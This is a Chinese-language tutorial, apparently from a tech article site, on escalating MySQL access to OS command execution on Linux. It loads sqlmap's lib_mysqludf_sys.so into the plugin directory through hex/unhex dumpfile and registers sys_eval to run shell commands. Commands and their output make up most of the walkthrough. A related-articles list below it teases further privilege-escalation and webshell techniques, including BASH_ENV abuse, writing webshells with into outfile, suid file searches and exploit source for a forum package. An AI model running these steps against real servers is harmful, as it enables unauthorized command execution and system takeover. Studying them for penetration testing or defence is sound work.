Linux利用UDF库实现Mysql提权

环境:
os:linux(bt5)
 
database:mysql
 
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
 
要求:
 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
 
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value         |
+---------------+-----------------------+
| plugin_dir  | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)

2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位

root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过

mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)

因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
 
root@bt:~# chmod 777 /usr/lib/mysql/plugin
 
数据库中写入udf库到mysql库目录:

mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)

查看下这个udf库所支持的函数

root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so
         w _Jv_RegisterClasses
0000000000201788 A __bss_start
         w __cxa_finalize
         w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
         U fgets
         U fork
         U free
         U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
         U malloc
         U mmap
         U pclose
         U popen
         U realloc
         U setenv
         U strcpy
         U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
         U sysconf
         U system
         U waitpid

最后,加载函数并执行:

mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.14 sec)

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql       |
+--------------------+
1 row in set (0.04 sec)

mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set
(0)

相关推荐

  • linux提权用的一个技巧

    作者:xi4oyu 一个test: [xiaoyu@localdomain ~]$ echo $BASH_ENV [xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc" [xiaoyu@localdomain ~]$ echo $BASH_ENV /tmp/.bashrc [xiaoyu@localdomain ~]$ cat /tmp/.bashrc #!/bin/bash echo "Hello" [xiao

  • Linux下非交互式提权详解

    前言 之前拿到某站的Webshell之后,在提权的时候发现网站不能反弹shell.而且,在渗透的时候经常遇到那种不能反弹shell的,你的提权工具拿上去之后因为没有交互式的环境,也不知道提权是否成功.因此,写了一个简单的工具.需要的朋友们可以参考学习. 方法如下 proce_open() // path是提权工具的绝对路径,例如:/usr/local/htdocs/2.6.18 // cmd是你需要执行的命令,例如:whoami if(isset($_GET['path']) && iss

  • Linux利用UDF库实现Mysql提权

    环境: os:linux(bt5)   database:mysql   简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同.   要求:  在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止:   过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 mysql> show variables like "%p

  • Mysql提权的多种姿势汇总

    目录 一.写入Webshell into outfile 写shell 日志文件写shell 二.UDF提权 三.MOF提权 总结 一.写入Webshell into outfile 写shell 前提条件: 1.知道网站物理路径 2.高权限数据库用户 3.load_file() 开启 即 secure_file_priv 无限制 4.网站路径有写入权限 首先基础语法查询是否 secure_file_priv 没有限制 show global variables like '%secure_fi

  • Mysql提权方法利用

    mysql是一个常用的数据库系统,应用极广泛,如果得到一个mysql的用户权限,如果提升呢,下面这个思路很先进! 但得有一定编程基础! 现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll.在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉.my_udf.dll和Mix.dll相似,但它是通

  • Oracle 低权限数据库账户得到 OS 访问权限 提权利用

    这几天看了篇叫"Penetration: from application down to OS (Oracle)"的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和 connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺骗服务器, 来得到系统的访问权限.我本地测试了下,还真的成功了.:-) 具体的原理分析看原文吧,我

  • 如何使用Linux文本操作命令ed进行提权nov5详解

    前言 本文我将为大家介绍一个面向行的文本编辑器命令"ed",它主要用于生成,显示,更改和操作文本文件.所有ed命令都在行或行范围内执行操作:例如,"d"命令删除行:"m"命令移动行,"t"命令复制行等等.现在,我们要做的就是利用这些"ed"命令,来提升我们在Linux系统上的用户权限. ed 概要 Linux中的ed命令用于启动"ed文本编辑器",这是一个基于行的文本编辑器.它是Linu

  • Linux曝出Sudo提权漏洞 任意用户亦可运行root命令

    作为 Linux 中最常使用的重要实用程序之一,Sudo 几乎安装在每一款 UNIX 和 Linux 发行版上,以便用户调用和实施核心命令. 然而近期曝出的一个提权漏洞,却直指 sudo 的一个安全策略隐患 -- 即便配置中明确不允许 root 用户访问,该漏洞仍可允许恶意用户或程序,在目标 Linux 系统上以 root 用户身份执行任意命令. (题图 via Hacker News ) 据悉,Sudo 特指"超级用户".作为一个系统命令,其允许用户以特殊权限来运行程序或命令,而无需

  • Linux使用suid vim.basic文件实现提权

    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以找到存在suid权限的文件 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -

  • Linux系统利用crontab定时备份Mysql数据库方法

    利用系统crontab来定时执行备份文件,按日期对备份结果进行保存,达到备份的目的. 1.创建保存备份文件的路径/mysqldata #mkdir /mysqldata 2.创建/usr/sbin/bakmysql文件 #vi /usr/sbin/bakmysql 输入 rq= date +%Y%m%d tar zcvf /mysqldata/mysql$rq.tar.gz /var/lib/mysql 或者写成 rq= date +%Y%m%d mysqldump –all-databases

  • DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码

    作者:Kendy 文章来源:Kendy’s Blog unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, StdCtrls, ComCtrls, WinSkinData, ShellApi; type TForm1 = class(TForm)  Label1: TLabel;  Label2: TLabel

随机推荐